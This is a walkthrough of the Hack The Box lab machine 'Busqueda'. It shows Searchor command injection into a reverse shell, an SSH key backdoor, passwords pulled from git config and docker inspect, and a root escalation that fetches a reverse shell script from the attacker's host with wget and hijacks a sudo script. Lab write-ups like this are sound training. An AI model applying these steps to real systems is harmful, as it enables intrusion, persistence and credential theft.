Today we’ll be working through a lab machine called “Busqueda” from Hack The Box. As usual we’ll be using Kali Linux as our operating system and will try to take the manual route as much as possible.

Initial enumeration only shows two open ports.

nmap -Pn -sV --data-length=28 -p- 10.129.43.71 -vv

Since http port 80 is open. Let’s begin our recon on the target host to obtain a lay of the land. Once we review the website we will probe attack vectors that may give us our initial foothold.

Before attempting to go the hard route. We always look for the easiest way. On the footer of the website we see “Powered by Flask and Searchor 2.4.0”. The first thing to do is google the web application name to see if there are any CVE’s and POC exploits for the application.

Research points us to this POC exploit that will allow us to obtain a reverse shell.

Vulnerability Information – https://security.snyk.io/package/pip/searchor/2.4.0

Exploit Download – https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection

The exploit takes advantage of a function call in the Searchor app python code. Reviewing the exploit code, we see how the vulnerability is able to be exploited. Let’s attempt a manual command injection based off of the exploit code syntax.

We’ll browse to the website. Then we’ll attempt to inject an os system command via the search bar.

We will use python exec() to execute a system command. In our case we’ll run python code to obtain a reverse shell.

With our command injection code set. Clicking search will then initiate a connection back to our attacker machine.

We now have an interactive shell on the target host. Initial access has been achieved.  During our enumeration we noted that the ssh port was open. Let’s setup an ssh backdoor that will allow us to have a more stable connection when connected to the host.

We create a .ssh folder on the target host machine.

# mkdir .ssh

The new folder path should be /home/svc/.ssh

Back on our attacker machine.  We will generate a public/private ssh key pair.

# ssh-keygen

Generating this key pair will allow us to add the id_rsa.pub key information into the SVC users “authorized_keys” file in the .ssh folder. Back on the target host we copy and paste the contents of id_rsa.pub from our attacker machine into the authorized_keys file in the SVC users .ssh folder.

Since there isn’t an “authorized_keys” file located at /home/svc/.ssh we will create one.

# echo ' id_rsa.pub content in here' > authorized_keys

We need to give the correct permissions to the authorized_keys file we just created.

# chmod 600 /home/svc/.ssh/authorized_keys

We will now use the private key that generated alongside the public key to login to the target host via ssh.

# ssh -I id_rsa svc@10.129.43.71

With persistent access and a stable shell we move forward with post exploitation activities and look for privilege escalation paths.

Using the Linux Smart Enumeration script to quickly enumerate system information. The script finds that a git repository exists on the system.

Moving to the /var/www/app/.git folder. We can look for credentials in configuration files or any other items within the directory that may contain sensitive information.

# git log

Reviewing git logs. We note two important items. A user with the name “administrator” exists and a subdomain exists named gitea.searcher.htb.

# git config -l

Reviewing the git configuration file shows sensitive information for a user named “cody”. We save the string that looks to be a password.

Password - jh1usoih2bkjaspwe92

After adding the subdomain to our attacking machine’s hosts file. We are able to load the subdomain and find a service running called Gitea. Gitea is a self-hosted git service application. Browsing through the gitea site. We take note of the users on the “users” page.

Some research shows that there is a remote code execution vulnerability for Gitea version. Unfortunately the version running on the target host is on 1.18 and is not vulnerable to any publicly available exploit.

Let’s attempt to use the newly found credentials to ssh into the machine.

We cannot login using the username cody. Attempting to login to the svc account using the same password is successful.

SSH credentials

Username – svc

Password – jh1usoih2bkjaspwe92

Since we have a valid password for the svc user. We can now use the password with linux smart enumeration script to do a credentialed enumeration of the system.

# lse.sh -l 1

With the credentialed enumeration. We see that the svc user can run a script called “system-checkup.py” with sudo permissions.

Running the script we are able to list running docker containers on the host. Noting that we can run the “docker-inspect” command. We may be able to reveal sensitive information from the running docker containers.

# sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' mysql_db

We list out the mysql_db container. It’s common for an SQL database to contain passwords. We are able to find two passwords that may be useful.

• MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF”,”MYSQL_USER=gitea
• MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh”,”MYSQL_DATABASE=gitea

We login to the SQL service using the root credentials and look for valuable information and come up with nothing. Considering that the passwords found are for mysql databases and databases contain passwords for web applications. We should be able to use one of the passwords we just obtained to login to the gitea web page.

Using the username administrator and the password from the gitea sql database. We are able to login to the gitea service. On the landing page after login. We notice a web link called “administrator/scripts”.

We are able to see the scripts that make up the application that is running on the target host. Reviewing the scripts for hardcoded credentials reveals nothing. Researching on how to get RCE via the front end with administrative rights also reveals nothing.

Research – https://github.com/kacperszurek/exploits/blob/master/Gitea/gitea_lfs_rce.md#git-hooks

Exploiting the Gitea “Git Hooks” function looked promising but the feature wasn’t available.

Going back to executing the python script we used to obtain information on the docker containers. We notice the 3rd option that says “full-checkup” when executing the “system-checkup.py” script as sudo.

A full-checkup.sh script exists in the /opt/scripts/ directory. It seems that when executing the system-checkup.py script as sudo and using the “full-checkup” argument. It invokes the script located at /opt/scripts/full-checkup.sh. We may be able to execute our own commands as root by creating our own .sh script named “full-checkup.sh” to hijack the original script attempting to be executed.

The attack chain is simple.

Run “system-checkup.py full-checkup” as sudo -> The command invokes the /opt/scripts/full-checkup.sh script -> create our own script named full-checkup.sh with commands we want to execute.

On our attacker machine, we create a bash reverse shell script.

We transfer the reverse shell script to the target hosts /home/svc/ directory.

# wget 10.10.14.156/full-checkup.sh

Give the script executable permissions.

# chmod +x full-checkup.sh

Note: The script was gone after some seconds of being saved to the system. This means the attack chain has to be executed quickly before the system deletes our custom “full-checkup.sh” script.

We then execute the system-checkup.py script as sudo and hope that the “poisoned” script we made is executed before the original “/opt/scripts/full-checkup.sh” script. The only way this works is that we have to execute the system-checkup.py script as sudo from the directory that our custom full-checkup.sh script is in. In theory this is similar to a windows dll/exe hijacking attack.

# sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

With a  listener on our attacker machine listening on port 4444. We catch a shell as root user and have full administrative control over the target host.

Check mate.